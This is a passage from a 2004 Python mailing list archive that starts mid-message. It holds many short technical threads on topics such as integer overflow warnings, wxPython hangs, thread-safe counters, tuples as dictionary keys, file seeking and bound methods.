http://www.zope.org/Resources/MailingLists

OTOH
Why on earth are you wanting to use Zope to effectively duplicate the
infrastructure functionality that Zope was _designed_ to provide?  Any
number of other software packages will provide web publishing without
you having to replicate features (because they are not there) or
database access such as PHP provides.

Most every item you lisedt is _already_ provided by Zope -- some
almost "out-of-the-box".  Take a look at _all_ the products available
(literally 100s) that already provide pieces of what you want.

For someone whose "programming exposure has been limited to simple
PHP", the tasks you've set yourself are no easy thing to pull off --
even, in fact,  by those working full-time and with greater
experience/skills.  That's what Zope is for -- take advantage of the
work others have provided for you as well as the experince of a
community much more familiar with Zope and its innards than you.  They
are a quite helpful lot.

Only you can decide if Zope is a comfortable fit or not.  From things
you've said above, I don't think you have a very good idea of what
Zope provides -- either in the core product or by way of add-on
products.  The tutorial is notoriously incomplete and inadequate as a
means to get familiar with Zope.  Read the Zope book.  If that's too
much for you, then Zope is _not_ for you.

Whatever you decide, good luck,
prg
email above disabled

To the NG -- sorry for the long post.


From mwilson at the-wire.com  Sat Feb  7 10:16:44 2004
From: mwilson at the-wire.com (Mel Wilson)
Date: Sat, 07 Feb 2004 10:16:44 -0500
Subject: Warnings killing my performance
References: <153fa67.0402060933.13840e8c@posting.google.com>
	<mailman.1322.1076118385.12720.python-list@python.org>
	<153fa67.0402070445.77121b2e@posting.google.com>
Message-ID: <cFQJAls/KbZC089yn@the-wire.com>

In article <153fa67.0402070445.77121b2e at posting.google.com>,
kylotan at hotmail.com (Kylotan) wrote:
>"Terry Reedy" <tjreedy at udel.edu> wrote in message news:<mailman.1322.1076118385.12720.python-list at python.org>...
>> "Kylotan" <kylotan at hotmail.com> wrote in message
>> news:153fa67.0402060933.13840e8c at posting.google.com...
>> > And my second is, is there a quick way of taking an integer, shifting
>> > it left 13 bits (or multiplying by 2 ** 13, whatever), discarding any
>> > excess bits, and which won't cause a warning?
>>
>> Have you tried masking off the upper 13 bits *before* the shift?  So that
>> there is no overflow to warn about?  Does this make any sense?
>
>Yes, it makes perfect sense... but unfortunately getting rid of that
>specific warning isn't enough. As noted in my first post, something is
>going through the warnings mechanism silently. I changed the code to
>this:
>
>def IntToRandFloat(x):
>    """Given a 32-bit integer, return a float in [-1.0, 1.0]"""
>    x = int(x) & 0x3FFFF # Preserve lowest 18 bits, to remove
>overflow.
>    x = int(x << 13) ^ x # Shift left 13 bits.
>    return (1.0-((x*(x*x*15731+789221)+1376312589)&0x7fffffff)/1073741824.0)
>
>And the profiler is still showing a call to warn() and warn_explicit()
>for each call to IntToRandFloat. I'm also having to preserve 18 bits
>instead of the desired 19 because the warning displays when I use 18,
>presumably because it includes the sign bit. However now I think I am
>damaging the distribution of the function (which is supposed to
>generate deterministic noise).

   I notice that you're effectively cubing x, so you could
only keep 10 bits of it and be sure of avoiding 32-bit
overflow.  Maybe a linear pseudo-random formula would save
some trouble.  But it appears that random.randint also
generates invisible warnings.

The warnings go away with
        x = long(x << 13) ^ x


        Regards.        Mel.


From theller at python.net  Mon Feb 23 11:33:37 2004
From: theller at python.net (Thomas Heller)
Date: Mon, 23 Feb 2004 17:33:37 +0100
Subject: python 2.3.2 hangs when returning an int
References: <defa238f.0402230806.69f365a0@posting.google.com>
Message-ID: <k72d7o2m.fsf@python.net>

rus20376 at salemstate.edu (omission9) writes:

> Any advice on the following would be much appreciated. I have thrown 
> everything I have at it and am completely stumped. I apologize for the 
> length, I have tried to be as succint as possible.
>
> I have a pythoncard/wxPython application. The application works well 
> except that users were reporting occasional crashes. The application 
> would simply stop and just hang. I was able to reproduce the bug 
> faithfully and ran the application in the python debugger pdb.py.
> The trace is below and I simply cannot understand why it is hanging 
> where it is. The application gets stuck executing
>
> return len(self.data[0])

Does pythoncard or wxPython (or your program) use weak references?
There have been serious bugs fixed with weakrefs in Python 2.3.3.

Thomas




From rmkrauter at yahoo.com  Wed Feb  4 21:41:43 2004
From: rmkrauter at yahoo.com (Rich Krauter)
Date: Wed, 04 Feb 2004 21:41:43 -0500
Subject: an ingrate newbie complains
In-Reply-To: <338366A6D2E2CA4C9DAEAE652E12A1DE0128F37D@au3010avexu1.global.avaya.com>
References: <338366A6D2E2CA4C9DAEAE652E12A1DE0128F37D@au3010avexu1.global.avaya.com>
Message-ID: <1075948903.4424.57.camel@vaio>

I didn't phrase that well. I understand *why* they don't work; I just
meant to point out to OP that it's not an issue with the way iterators
work in python; its because some of the variables referenced in the some
of the list comps had been initialized. So they *appear* to have
unexpected behaviour. In the absence of that accidental initialization,
they don't work at all, as one should expect, since variables are
referenced before they are defined.
Thanks for the suggestion, though.
Rich

On Wed, 2004-02-04 at 21:25, Delaney, Timothy C (Timothy) wrote:
> > From: Rich Krauter
> > 
> > Are some of these examples only working because and y have been
> > initialized by previous runs?
> > I tried deleting x and y between list comprehensions and they 
> > don't work anymore.
> 
> Indeed.
> 
> >>> f = lambda x,y: x*y+2*pow(y,2)
> >>> g = lambda x: 3*pow(x,2)
> >>> l = [1,2,3,4,5]
> >>> [f(x,y) for (x,y) in [(x,g(x)) for x in l] if y>19]
> [1539, 4800, 11625]
> >>> del x
> >>> del y
> >>> [f(x,y) for x in l for y in [g(x)] if y>19]
> [1539, 4800, 11625]
> >>> del x
> >>> del y
> >>> [f(x,y) for y in [g(x)] if y>19 for x in l]
> Traceback (most recent call last):
>   File "<stdin>", line 1, in ?
> NameError: name 'x' is not defined
> >>> [f(x,y) for y in [g(x)] for x in l if y>19]
> Traceback (most recent call last):
>   File "<stdin>", line 1, in ?
> NameError: name 'x' is not defined
> 
> Try expanding them to the non-list comp form and see where the problems are ...
> 
> Tim Delaney



From tjreedy at udel.edu  Fri Feb 27 12:54:11 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Fri, 27 Feb 2004 12:54:11 -0500
Subject: When things go badly in PyGC_Collect()
References: <403e2bfd.9144015@news.t-online.de> <403f4f86_1@127.0.0.1>
	<6.0.1.1.2.20040227102910.02e02ec0@mail.fxtech.com>
Message-ID: <c1o082$5mp$1@sea.gmane.org>


"Paul Miller" <paul at fxtech.com> wrote in message
news:6.0.1.1.2.20040227102910.02e02ec0 at mail.fxtech.com...
> I'm running into a situation where the first call to PyCG_Collect during
a
> Py_Finalize, is dying a horrible death and throwing an exception. It is
> after *MANY* iterations of the GC loop, so I haven't pinpointed where
> exactly it is happening.
>
> Some notes - this is with Python 2.3 BTW, on Windows.

The most recent one?  I belive 2.3.3 had some bug fixes in this area.

tjr






From sdfATexpertuneDOTcom  Mon Feb 23 13:44:04 2004
From: sdfATexpertuneDOTcom (Scott F)
Date: Mon, 23 Feb 2004 18:44:04 -0000
Subject: How to code a series of alternatives
References: <Xns94987ED355A3Asdfexpertunecom@216.168.3.44>
	<c1dhgu$orm$1@panix3.panix.com>
Message-ID: <Xns9498818A7D2D1sdfexpertunecom@216.168.3.44>

aahz at pythoncraft.com (Aahz) wrote in
news:c1dhgu$orm$1 at panix3.panix.com: 

> 
> Simplest:
> 
>     if testvar in ('fred', 'bob'):
> 
> Fastest:
> 
>     options = sets.Set('fred', 'bob'):
> 
>         ...
> 
>     if testvar in options:


Thank you.  I'd be embarassed, but I'm only grateful.  

Scott



From aahz at pythoncraft.com  Tue Feb 24 10:50:56 2004
From: aahz at pythoncraft.com (Aahz)
Date: 24 Feb 2004 10:50:56 -0500
Subject: Typecasting
References: <mailman.198.1077534828.27104.python-list@python.org>
	<15c2d03b.0402240646.558226ef@posting.google.com>
Message-ID: <c1frt0$qod$1@panix1.panix.com>

In article <15c2d03b.0402240646.558226ef at posting.google.com>,
Marco Aschwanden <PPNTWIMBXFFC at spammotel.com> wrote:
>
>Don't forget the string-library with its atof-, atoi-, atol-method:
>
>>>> import string
>>>> string.atoi('555')
>555

That's deprecated.  Use the type objects to convert.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"Do not taunt happy fun for loops. Do not change lists you are looping over."
--Remco Gerlich, comp.lang.python


From amanzini at quercia.it  Thu Feb 19 04:08:03 2004
From: amanzini at quercia.it (Andrea Manzini)
Date: Thu, 19 Feb 2004 10:08:03 +0100
Subject: threading id generator ?
Message-ID: <5.2.1.1.2.20040219095741.01405ac0@polifemo.quercia.it>

Hi all,

I'm a python newbie with a little problem; my need is to share an incrementing counter between threads; i.e. every time I create a new thread (which handle a single tcp/ip connection), I must assign an unique numeric ID to it, without reuse old numbers... In example:

thread-1 id: 1
thread-2 id: 2
thread-3 id: 3
thread-100 id: 100
thread-n id: n

which locking semantic I must use to implement a shared generator in a thread ?

thanks in advance :)


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From kristofer at hotpop.com  Wed Feb 18 09:34:05 2004
From: kristofer at hotpop.com (Kristofer Wouk)
Date: Wed, 18 Feb 2004 09:34:05 -0500
Subject: pygame and tutorial
In-Reply-To: <c0t07p$1bipr6$1@ID-111250.news.uni-berlin.de>
References: <ca5642cb.0402161422.61c41c25@posting.google.com>
	<c0t07p$1bipr6$1@ID-111250.news.uni-berlin.de>
Message-ID: <q9OdnbIoRbP65a7dRVn-uw@inoc.net>

Diez B. Roggisch wrote:
> ardechou wrote:
> 
> 
>>hi
>>i want to find a tutorial for pygame
>>but not on the site of pygame , just a tutorial for a beginner , to
> 
> 
> Why not on the site of pygame? There is everything you request there, most
> things on site, other tutorials are linked to.
> 
Just agreeing here. In fact, I'm not sure if there is any documentation 
available for pygame that isn't already on the main pygame site (pygame.org).
When it comes to starting an application, putting text in the main window
and things like that, I'd say have a look at the "Chimp Line By Line" tutorial
on the pygame website.

Kris


From lubowiecka at go2.pl  Mon Feb 16 10:58:45 2004
From: lubowiecka at go2.pl (Ringwraith)
Date: Mon, 16 Feb 2004 16:58:45 +0100
Subject: a simple question... how to detect click action in another
	module?
References: <c0ohj8$5eq$1@atlantis.news.tpi.pl>
	<402fef31$0$564$b45e6eb0@senator-bedfellow.mit.edu>
Message-ID: <c0qpl5$d2f$1@nemesis.news.tpi.pl>


Uzytkownik "Brian Kelley" <bkelley at wi.mit.edu> napisal

> If you could be more specific about what GUI you are using, we could
> give you a more specific answer.

Oh, I forgot to add that I use Tkinter!
Anyway you helped me very much!!!! The link to the 'recipe' describing how
to implement the observer pattern in Python was great!!!
Thanks to You I solved my problem!
Thanks!!!

Best Regards,

Sylwia





From ark at acm.org  Wed Feb 18 00:18:50 2004
From: ark at acm.org (Andrew Koenig)
Date: Wed, 18 Feb 2004 05:18:50 GMT
Subject: PEP-315 ("do" loop)
References: <mailman.55.1076984559.31398.python-list@python.org>
	<10341ha7te8bpb8@news.supernews.com>
	<7xekstqyzy.fsf@ruckus.brouhaha.com>
Message-ID: <_ACYb.41934$hR.981424@bgtnsc05-news.ops.worldnet.att.net>

> Most other languages have a way to put the test at the bottom of the loop.
> Pythonically that could look like:
>
>     repeat:
>        line = sys.stdin.readline()
>     until: line == '\n'
>
> That would have similar indentation characteristics to try...finally.

I believe it would be more useful to allow the test to be anywhere in the
loop, not just at the beginning or at the end.  Even better would be to
allow more than one test.




From per.corell at privat.dk  Mon Feb  9 18:12:39 2004
From: per.corell at privat.dk (P.C.)
Date: Tue, 10 Feb 2004 00:12:39 +0100
Subject: Had Phyton suggested
References: <4026488d$0$95048$edfadb0f@dread11.news.tele.dk>
	<40264f37$0$95017$edfadb0f@dread11.news.tele.dk>
Message-ID: <40281346$0$95068$edfadb0f@dread11.news.tele.dk>

Hi

I am still here, ----- thanks to those who ansvered ,  need to follow the
links before I return.

P.C.




From jjl at pobox.com  Fri Feb  6 19:58:59 2004
From: jjl at pobox.com (John J. Lee)
Date: 07 Feb 2004 00:58:59 +0000
Subject: HTTPSConnection Problems
References: <bae2f23d.0402051435.5df63d83@posting.google.com>
	<bvupuo$8ti$1@mawar.singnet.com.sg>
Message-ID: <873c9niu24.fsf@pobox.com>

ngps at netmemetic.com (Ng Pheng Siong) writes:

> According to John Glista <jsplice at hotmail.com>:
[...]
> > What I don't understand is why the
> > HTTPSConnection is asking for a private key.  The private key resides
> > on the server; clients do not have access to this.  
> 
> You're talking about the server's key and certificate. There are also
> *client* keys and certificates: A server may demand a client produces a
> certificate and demonstrates possession of the corresponding private key as
> a means of authentication and authorisation.
[...]

That's exactly what the key and cert are for in httplib.  There is no
support for server auth.

I got this backwards too, until Martin v. Loewis set me straight.


John


From news at yebu.de  Thu Feb 19 10:58:02 2004
From: news at yebu.de (Karl Scalet)
Date: Thu, 19 Feb 2004 16:58:02 +0100
Subject: multiply utple or list
In-Reply-To: <c12kbi$1d1bmt$1@ID-111250.news.uni-berlin.de>
References: <4034c694$0$706$5402220f@news.sunrise.ch>
	<c12i6m$1ddmkb$1@ID-141451.news.uni-berlin.de>
	<c12kbi$1d1bmt$1@ID-111250.news.uni-berlin.de>
Message-ID: <c12me9$1dea3t$1@ID-141451.news.uni-berlin.de>

Diez B. Roggisch wrote:

>> >>> import operator
>> >>> [ operator.mul(x,2) for x in (4,5)]
> 
> 
> Why not simply * ?
> 
> [ x * 2 for x in (4,5)]
> 

oops, of course. I had the map function in mind,
which only accepts a function, but this would come
to something like:

li=(4,5)
map(operator.mul, li, (2,)*len(li))

and is certainly worse then list comprehension :-)

regards,
Karl



From fumanchu at amor.org  Sun Feb 22 19:33:03 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Sun, 22 Feb 2004 16:33:03 -0800
Subject: Where can I post a new debugger?
Message-ID: <DE1CF2B4FEC4A342BF62B6B2B334601E561D8B@opus.amorhq.net>

Ziaran wrote:
> I like URLs, they are so easy to click, and there is always 
> the possibility for pleasant surprises inside.

...and an equal opportunity for unpleasant suprises.

No, that's not true. Not equal. The unpleasant:pleasant ratio is more
like 1,000,000 to 1.

> And here is the link again; hoping this time people in need 
> will believe it worth while to click:

It's all about trust, Ziaran. A URL without explanation undermines
trust. A domain named "freehosting.net" undermines trust. A hotmail
sending address undermines trust. Etcetera. It might be the greatest
code since bread[:], but to "believe it worthwhile to click" has nothing
to do with that. Hope you can tell I'm not angry--just informing you why
I (and many others) won't click your link.


Robert Brewer
MIS
Amor Ministries
fumanchu at amor.org



From hauck at gseos.com  Mon Feb 16 07:35:14 2004
From: hauck at gseos.com (Tommy Trojan)
Date: Mon, 16 Feb 2004 04:35:14 -0800
Subject: Hiding modules
References: <c0mpkn$i1d$1@gist.usc.edu>
	<4f0a9fdb.0402160359.33f90363@posting.google.com>
Message-ID: <c0qde1$3s6$1@gist.usc.edu>

Mike,

thanks for the tip. I thought along the same lines, but that doesn't get
around the problem that the user could just embed an import in a script, or
import a script that I provide and that internally uses the module that
should not be exposed, i.e.:

>>> import UserModule

in UserModule:

import RestrictedModule


This would get around the simple loop in checking the input arguments of the
interactive prompt. It needs to be a hook that is further down in the
system. The problem with an import hook is that it would need to distinguish
when it is okay to import the module (when I call it) and when it is not
okay (when my user calls it).

Thanks,
  Thomas


"Miki Tebeka" <miki.tebeka at zoran.com> wrote in message
news:4f0a9fdb.0402160359.33f90363 at posting.google.com...
> Hello Tommy,
>
>
> > Is there anything that can be done to import modules conditionally?
> > Any ideas?
> Writing a custom REPL (read-eval-print-loop) should be easy enough:
> import re
> split = re.compile("\s+").split
>
> forbidden = ("os", "sys")
>
> def repl():
>     while 1:
>         s = raw_input(">>> ").strip()
>         ok = 1
>         if s.startswith("import"):
>             for module in split(s.strip())[1:]:
>                 if module in forbidden:
>                     print "can't use %s module" % module
>                     ok = 0
>                     break
>         if ok:
>             exec(s)
>
> while 1:
>     repl()
>
> HTH.
> Miki




From scary at movie.com  Wed Feb  4 03:17:01 2004
From: scary at movie.com (marvin)
Date: Wed, 4 Feb 2004 03:17:01 -0500
Subject: newbie with a gui question
References: <1020nse8569lr70@corp.supernews.com>
Message-ID: <1021ak4984ivb20@corp.supernews.com>




"niekko" <akniekko at yahoo.com> wrote in message
news:1020nse8569lr70 at corp.supernews.com...
> I wrote a program for a class and now have to
> make a gui for it.  I've done several hours of
> research and am stuck.  Can someone point me
> in the right direction, please????
>
> Here's the original program..
>
>
> #Petty_Cash.py
> from Tkinter import *
> import time
> import string
>
> true = 1
> false = 0
>
> class Petty_Cash:
>     def __init__(self, initial):
>         self.balance = initial
>         print "Account created.  Your beginning balance is", "$",
> self.balance
>         print time.ctime()
>
>     def deposit(self, amt):
>         self.balance = self.balance + amt
>         print "$", + amt, "has been deposited to your account."
>         print "Your new balance is", self.balance
>         print time.ctime()
>
>     def withdraw(self, amt):
>         if self.balance >= amt:
>             self.balance = self.balance - amt
>             print "$",- amt, "has been withdrawn from your account."
>             print "Your new balance is", "$", self.balance
>             print time.ctime()
>         else:
>             print "Insufficient funds in account to withdraw", "$", amt
>             print "Please ensure sufficient funds exist for withdrawl
> amount"
>             print "Your current balance is", "$", self.balance
>             print time.ctime()
>
>     def getbalance(self):
>         print time.ctime()
>         return self.balance
>
>


hi-
why not give this a try.  i never tried it myself.
it claims to be really easy ...function
driven.  .  what the hell is lamda anyways?
sounds like some kind of greek organization.


http://www.ferg.org/easygui/index.html

if this is a series of programs that you will be doing
and fancy events are going to be needed you will have to look
at something like tkinter or wxpython when it gets more
advanced.

this class is interesting.

we had an exercise with an elevator.  our teacher said if we made
an error we'd send the elevator through the roof like the cartoons :-)

have fun!

later,
marvin




From post400 at prontomail.com  Wed Feb 18 18:10:14 2004
From: post400 at prontomail.com (post400)
Date: 18 Feb 2004 15:10:14 -0800
Subject: the best book for learning python !?
References: <b15d2792.0402161313.6902cc27@posting.google.com>
	<ap37305c4qj41m2jefukg2b92rv38but80@4ax.com>
Message-ID: <b15d2792.0402181510.3019ee6a@posting.google.com>

Hi,

thanks for your opinions ! 

Terry , you're saying that you keep The Pyhton Cookbook in your
bathroom !? That's why I asked about books ! It's a lot easier to keep
them in bathrooms and read while doing stuff ! PDAs , laptops or
listings are not exactly perfect for bathrooms !

bye
post400


From anhtt at hotmail.com  Mon Feb 23 01:21:47 2004
From: anhtt at hotmail.com (Tran Tuan Anh)
Date: 22 Feb 2004 22:21:47 -0800
Subject: Help: Is Python suitable?
Message-ID: <ed89f8f2.0402222221.47b6213f@posting.google.com>

Hi,

I have an programming assignment, and would like to try out Python.

I need to read in a simple textual language (does Python have a
scanner, and parser?), and do some processing. After that, generate
some codes in an other language. Basically, the program generates code
for another program based on some textual input.

I can do it in Java of course. However, it will be quite cumbersome.

I wonder if Python is more suitable for this kind of job?

Hope someone could enlighten me on this matter?

Thanks a lot!
Tuan Anh

P/S: I knew Java, Pascal very well. I also touch a bit on C/C++,
Scheme, SML.


From tkpmep at hotmail.com  Sun Feb 22 15:13:12 2004
From: tkpmep at hotmail.com (Thomas Philips)
Date: 22 Feb 2004 12:13:12 -0800
Subject: Reading from text files
Message-ID: <b4a8ffb6.0402221213.7bc0c493@posting.google.com>

In the course of playing around with file input and output, I came
across some behavior that is not quite intuitive. I created a simple
text file, test.txt, which contains only 3 lines, and which I expect
will have 5 characters (the digits 1, 2, and 3, and two newline
characters, the first after 1 and the second after 2). Here it is in
all its glory:
1
2
3

However, when I read it using open()and then view it using
>>> file.seek(0); file.read(); file.tell()
I get:
'1\n2\n3'
7L

Python thinks there are 7 characters in the file! If I type 
>>> file.seek(1); file.read() OR >>>file.seek(2); file.read()
I get
'\n2\n3'

but 
>>> file.seek(3); file.read()
gives me what I expected to get with file.seek(2); file.read()
'2\n3'

It appears that Python sometimes counts each of the newline escape
sequences as 2 separate characters and at other times as 1 indivisible
character. What is the appropriate way to think about these
characters?

Thomas Philips


From alloydflanagan at comcast.net  Tue Feb 17 11:50:46 2004
From: alloydflanagan at comcast.net (A. Lloyd Flanagan)
Date: 17 Feb 2004 08:50:46 -0800
Subject: python memory usage
References: <c0q354$p0f$1@swifty.westend.com>
Message-ID: <e838aa6e.0402170850.32afdf15@posting.google.com>

Peter Maas <fpetermaas at netscape.net> wrote in message news:<c0q354$p0f$1 at swifty.westend.com>...
> In a recent discussion somebody claimed that python executable has
> a huge memory consumption compared to perl and tcl, about 18 MB.
> I didn't believe that and checked on my machine (SusE 7.3, Linux
> 2.4, Perl 5.6.1, Python 2.3.2, Tcl 8.3), command
> ps -o "cmd rss vsize", results in kBytes:
> 
> CMD               RSS   VSZ
> perl              984  2760
> python           2556  4188
> tclsh8.3         1100  2316
> 

Has anybody got comparable figures for a Java process?


From jimmy at retzlaff.com  Thu Feb 26 04:18:11 2004
From: jimmy at retzlaff.com (Jimmy Retzlaff)
Date: Thu, 26 Feb 2004 01:18:11 -0800
Subject: Some language proposals.
Message-ID: <A7B5C22F20EE3C4E95744E2F03F1887F1B904E@MAYOR.retzlaff.com>

Jacek Generowicz <jacek.generowicz at cern.ch> writes:
>
> >>> class foo: pass
> ...
> >>> class callable:
> ...     def __call__(self): print self
> ...
> >>> instance = callable()
> >>> def meth(self): print self
> ...
> >>> foo.meth = meth
> >>> foo.instance = instance
> >>> f = foo()
> >>> f
> <__main__.foo instance at 0x815fa64>
> >>> f.meth()
> <__main__.foo instance at 0x815fa64>  # self == f
> >>> f.instance()
> <__main__.callable instance at 0x815f624>  # self != f
> >>> f.meth
> <bound method foo.meth of <__main__.foo instance at 0x815fa64>>
> >>> f.instance
> <__main__.callable instance at 0x815f624>  # Hmm, it's not a method
> >>>
> 
> meth behaves like a Python method, instance does not.
>
> Find some way of making callable [from above] use
> types.FunctionType.__get__.  I don't see what code examples could
> possibly help in specifying the problem more clearly (unless the code
> is the solution, of course).

The function new.instancemethod will build an instance method for you,
but your callable needs two selves, one for the instance of callable and
another for the instance of foo so that it can access the state of each:

>>> class foo: pass
...
>>> class callable:
...   def __call__(self_callable, self_foo):
...     print self_callable, self_foo
...
>>> instance = callable()
>>> import new
>>> foo.instance = new.instancemethod(instance, None, foo)
>>> f = foo()
>>> f
<__main__.foo instance at 0x008FAB70>
>>> instance
<__main__.callable instance at 0x008FABE8>
>>> f.instance()
<__main__.callable instance at 0x008FABE8> <__main__.foo instance at
x008FAB70>
>>> f.instance
<bound method foo.? of <__main__.foo instance at 0x008FAB70>>

> But please don't bother unless you really want to do it for your own
> entertainment.

Writing Python code is always entertaining. :)

Jimmy




From stephan.diehlNOSPAM at gmx.net  Fri Feb 27 07:15:31 2004
From: stephan.diehlNOSPAM at gmx.net (Stephan Diehl)
Date: Fri, 27 Feb 2004 13:15:31 +0100
Subject: Internet-scale distributed computing?
References: <mailman.182.1077835454.8594.python-list@python.org>
Message-ID: <c1nc8r$ls0$00$1@news.t-online.com>

Skip Montanaro wrote:

[...]
> 
>     2. Are there tools available to make it easier to build such
>        applications?

http://www-106.ibm.com/developerworks/edu/gr-dw-grpintro-i.html

Maybe this has something usefull for you.

Stephan

> 
> Thx,
> 
> Skip



From newsgroups at jhrothjr.com  Mon Feb  9 12:36:35 2004
From: newsgroups at jhrothjr.com (John Roth)
Date: Mon, 9 Feb 2004 12:36:35 -0500
Subject: converting base class instance to derived class instance
References: <930ba99a.0401200413.5fae6fb9@posting.google.com><100qm0soklj3439@news.supernews.com>
	<mailman.1372.1076344361.12720.python-list@python.org>
Message-ID: <102fhd93l1resfa@news.supernews.com>


"Fran?ois Pinard" <pinard at iro.umontreal.ca> wrote in message
news:mailman.1372.1076344361.12720.python-list at python.org...
[John Roth]

> If you want to do a little bit of deep magic, a factory function can
> create an instance by calling object(), plug in whatever attributes
> it wants and then change the __class__ attribute to whatever class it
> wants before it returns the newly minted instance. It doesn't have
> to go near anything that resembles a constructor (other than calling
> object() to get a new instance, of course.)

Hello, John, and gang! :-)

How one does that?  I'm merely curious.  Using Python 2.3.3, the result
of `object()' does not have a `__dict__', and seemingly may not be given
a `__dict__' either.  See:

[John's answer]
My goof. The correct call is:

object.__new__(klas)

where klas is the class object you want
the instance constructed for.


John Roth


-- 
Fran?ois Pinard   http://www.iro.umontreal.ca/~pinard




From dhwild at argonet.co.uk  Tue Feb 24 17:02:15 2004
From: dhwild at argonet.co.uk (David H Wild)
Date: Tue, 24 Feb 2004 22:02:15 +0000 (GMT)
Subject: Thoughts about Python
References: <15c2d03b.0402240311.395f5382@posting.google.com>
	<Xns9499854B482AEduncanrcpcouk@127.0.0.1>
	<15c2d03b.0402241237.708cb4e8@posting.google.com>
Message-ID: <4c85f44896dhwild@argonet.co.uk>

In article <15c2d03b.0402241237.708cb4e8 at posting.google.com>, Marco
Aschwanden <PPNTWIMBXFFC at spammotel.com> wrote:
> > Forget the speed and memory difference. The main argument for tuples
> > as a separate type are to use as dictionary keys. How do you propose
> > to handle dictionary keys without tuples?

> Maybe I don't get the point here: Why do dictionaries need tuples to
> work? I know that tuples can be used as keys... but how many times do
> you need tuples as dictionary keys (it would be simple to turn a list
> into an immutable string if really needed ("::".join(["a","b"]). But
> maybe tuples are used within dictionary in a way I don't know.

One of the reasons for doing this is that you can use a dictionary to
represent points with coordinates in a space of two or more dimensions. In
this case you need an immutable type, and you may need to get at its
elements.

-- 
 __  __  __  __      __ ___   _____________________________________________
|__||__)/ __/  \|\ ||_   |   / Acorn StrongArm Risc_PC
|  ||  \\__/\__/| \||__  |  /...Internet access for all Acorn RISC machines
___________________________/ dhwild at argonet.co.uk


From nir1408 at hotmail.com  Mon Feb 23 11:45:53 2004
From: nir1408 at hotmail.com (Ziaran)
Date: Mon, 23 Feb 2004 18:45:53 +0200
Subject: python 2.3.2 hangs when returning an int
References: <defa238f.0402230806.69f365a0@posting.google.com>
Message-ID: <403a2e62$1@news.bezeqint.net>

I guess it is a thread synchronization progblem
In that case some other thread modifies self.data leaving it empty in the
time between the if statement expression is evalutaed and the time the
return statement is executed.

Can this be the case?

"omission9" <rus20376 at salemstate.edu> wrote in message
news:defa238f.0402230806.69f365a0 at posting.google.com...
> Any advice on the following would be much appreciated. I have thrown
> everything I have at it and am completely stumped. I apologize for the
> length, I have tried to be as succint as possible.
>
> I have a pythoncard/wxPython application. The application works well
> except that users were reporting occasional crashes. The application
> would simply stop and just hang. I was able to reproduce the bug
> faithfully and ran the application in the python debugger pdb.py.
> The trace is below and I simply cannot understand why it is hanging
> where it is. The application gets stuck executing
>
> return len(self.data[0])
>
> which is in this function
>
>     def GetNumberCols(self):
>         if len(self.data) <= 0:
>             return 0
>         else:
>             return len(self.data[0])
>
> This works many many times during the applications execution, indeed
> several successful runs of this line are visible immediatley above the
> hang. I have also printed out the value of self.data. This is a list
> containing 12 inner lists each of length 3 at the point of the hang and
> is never larger than that.
> What on earth could cause this to stop the interpreter cold in its
> tracks without an exception being thrown? CPU usage on the machine is
> high throughout the application's execution and stays as such after the
> "hang" begins. I eventually kill the app although I have let it run for
> a long time and it never leaves this line.
> For what its worth, I am using python 2.3.2 on windows2k.
>
> Anyone have idea what could be happening?
>
>   c:\python23\lib\site-packages\wxpython\grid.py(664)_setOORInfo()->None
>   -> return val
>   (Pdb) s
>   --Return--
>    c:\python23\lib\site-packages\wxpython\grid.py(850)__init__()->None
>   -> self._setOORInfo(self)
>   (Pdb) s
>
>
>
c:\cygwin\home\ar881\development\bt_analysis\console\ndbbtable.py(17)__init
>
>   __()
>   -> self.data = data
>   (Pdb) s
>
>
>
c:\cygwin\home\ar881\development\bt_analysis\console\ndbbtable.py(18)__init
>
>   __()
>   -> self.colLabels = headings
>   (Pdb) s




From maxm at mxm.dk  Sun Feb  8 04:21:35 2004
From: maxm at mxm.dk (Max M)
Date: Sun, 08 Feb 2004 10:21:35 +0100
Subject: ANNOUNCE: Build 200 of the pywin32 extensions (win32all)
	available
In-Reply-To: <c03pel$19ts$1@arachne.labyrinth.net.au>
References: <c03pel$19ts$1@arachne.labyrinth.net.au>
Message-ID: <4025ff9f$0$197$edfadb0f@dread12.news.tele.dk>

Mark Hammond wrote:
> Hi all,
>   I have released a new version of the win32all extensions.  I have also 
> changed significantly the way I release them.

Great stuff Mark!

It's an invaluable tool for us Windows drones.


regards Max M


From rus20376 at salemstate.edu  Tue Feb 10 14:30:00 2004
From: rus20376 at salemstate.edu (omission9)
Date: 10 Feb 2004 11:30:00 -0800
Subject: wxPython error "can't set focus to invalid window"
References: <defa238f.0402100756.2433455f@posting.google.com>
Message-ID: <defa238f.0402101130.5c771840@posting.google.com>

rus20376 at salemstate.edu (omission9) wrote in message news:<defa238f.0402100756.2433455f at posting.google.com>...
> An application I have written is, suddenly it seems, throwing the
> following error after being left in use for several hours. This does
> not seem to occur with lighter usage. I am not 100% sure what causes
> this? Anyone have any advice? Seen it before?
> 
> Traceback (most recent call last):
>   File "PythonCardPrototype\binding.pyo", line 304, in _dispatch
>   File "wxPython\events.pyo", line 23, in GetEventType
> wxPython.wxc.wxPyAssertionError: C++ assertion "wxAssertFailure"
> failed in e:\Projects\wx2.4\src\msw\window.cpp(454): can't set focus
> to invalid window


To clarify this further this seems to occur when the application has
been left running for several hours and the application has been
minimized to the Windows task bar. The error happens when the user
tries to maximize the window. The application has a child thread
running(simply polls a dircetory and processes some text files) in the
background.
Does this help jog anyone's memory of what his could be? Blame
windows? ;)


From CGStartup at earthlink.net  Sun Feb  1 00:20:26 2004
From: CGStartup at earthlink.net (Stan Schwartz)
Date: 31 Jan 2004 21:20:26 -0800
Subject: Programmers Wanted for Computer Graphics Startup Near
	Philadelphia
References: <2da21d6c.0401310807.671be3b7@posting.google.com>
	<bvh1eq$jjr$1@namru.matavnet.hu>
	<%rUSb.37510$Wa.14668@news-server.bigpond.net.au>
Message-ID: <2da21d6c.0401312120.4e9b7a8e@posting.google.com>

"Neil Hodgson" <nhodgson at bigpond.net.au> wrote in message news:<%rUSb.37510$Wa.14668 at news-server.bigpond.net.au>...
> Mikl?s:
> 
> > Software patents are evil.
> > Hell to them.
> 
>    Unfortunately, software patents are part of the business landscape now.
> They often seem to be comfort blankets for investors ("we have something
> unique that absolutely preserves our market position") rather than anything
> real. To succeed in an interview, one must avoid laughing at the claims to
> uniqueness and refrain from pointing out that the patent actually describes
> a sub-optimal solution.
> 
>    Neil

If you had a friend in the states who could show me that my work was
sub-optimal, I would certainly want to hire him or her.
Stan


